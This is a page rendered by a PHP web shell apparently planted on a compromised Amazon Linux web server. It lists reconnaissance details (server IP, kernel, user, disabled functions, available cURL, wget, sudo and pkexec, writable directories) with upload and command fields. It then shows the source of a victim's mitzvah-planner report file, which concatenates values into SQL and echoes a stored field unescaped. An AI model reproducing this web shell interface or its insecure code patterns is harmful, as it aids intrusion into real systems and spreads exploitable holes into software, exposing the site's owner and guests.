403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/rpt/gift_givers.php
<?php include('mod/_mod_security.php'); ?>
<?php
	$sql = "SELECT id, primary_guest_id, last_name, first_name, gift_amt, gift_card, gift_other, gift_thank_you FROM guests WHERE gift_received = 1 AND ".
			"user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event']." ORDER BY last_name ASC, first_name ASC ";
	$result = mysqli_query($GLOBALS['con'], $sql) or die('Database error!');
	if (mysqli_num_rows($result) <= 0) :
		echo 'No data for report!';
		exit();
	endif;
?>
<table align="center" cellpadding="0" cellspacing="2" border="0">
	<thead>
		<?php report_fixed_header(); ?>
		<tr>
			<td width="190" align="center">
				Guest Name
			</td>
			<td width="75" align="center">
				Cash/Check
			</td>
			<td width="75" align="center">
				Gift Card
			</td>
			<td width="150" align="center">
				Other Gift
			</td>
			<td width="80" align="center">
				Thank You Sent
			</td>
		</tr>
	</thead>
	<tfoot>
		<?php report_fixed_footer(); ?>
	</tfoot>
	<tbody>
		<?php
			$total_amt = 0;
			$total_card = 0;
			$total_y = 0;
			$total_n = 0;
			while($row = mysqli_fetch_object($result)) :
				$total_amt = $total_amt + $row->gift_amt;
				$total_card = $total_card + $row->gift_card;
		?>
				<tr>
					<td>
						<?php echo format_guest_name($row->id); ?>
						<?php
							$sql = "SELECT DISTINCT * FROM guests WHERE (primary_guest_id = ".$row->id." OR id = ".$row->primary_guest_id." OR (primary_guest_id = ".$row->primary_guest_id." AND primary_guest_id <> 0))".
									" AND id <> ".$row->id.
									" AND user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." ";
							$result_family = mysqli_query($GLOBALS['con'], $sql) or die('Database error!');
							if ($result_family->num_rows > 0) :
								echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;&mdash; Other Family Members &mdash;<br />';
								while($row_family = mysqli_fetch_object($result_family)) :
									echo '&nbsp;&nbsp;&nbsp;&nbsp;';
									if ($row_family->guest_type == 'C') :
										echo '<i>';
									endif;
									echo format_guest_name($row_family->id).'<br />'; 
									if ($row_family->guest_type == 'C') :
										echo '</i>';
									endif;
								endwhile;
							endif;
						?>
					</td>
					<td align="right">
						<?php echo number_format($row->gift_amt,2); ?>
					</td>
					<td align="right">
						<?php echo number_format($row->gift_card,2); ?>
					</td>
					<td>
						<?php echo $row->gift_other; ?>
					</td>
					<td align="center">
						<?php
							switch ($row->gift_thank_you) :
								case "0" :
									echo 'N';
									$total_n = $total_n + 1;
									break;
								case "1" :
									echo 'Y';
									$total_y = $total_y + 1;
									break;
							endswitch;
						?>
					</td>
				</tr>
		<?php
			endwhile;
		?>
		<tr>
			<td>
				Total:&nbsp;&nbsp;<?php echo mysqli_num_rows($result); ?>
			</td>
			<td align="right">
				<?php echo number_format($total_amt,2); ?>
			</td>
			<td align="right">
				<?php echo number_format($total_card,2); ?>
			</td>
			<td>&nbsp;
			</td>
			<td align="center">
				Y: <?php echo $total_y; ?>&nbsp;&nbsp;N: <?php echo $total_n; ?>
			</td>
		</tr>
	</tbody>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit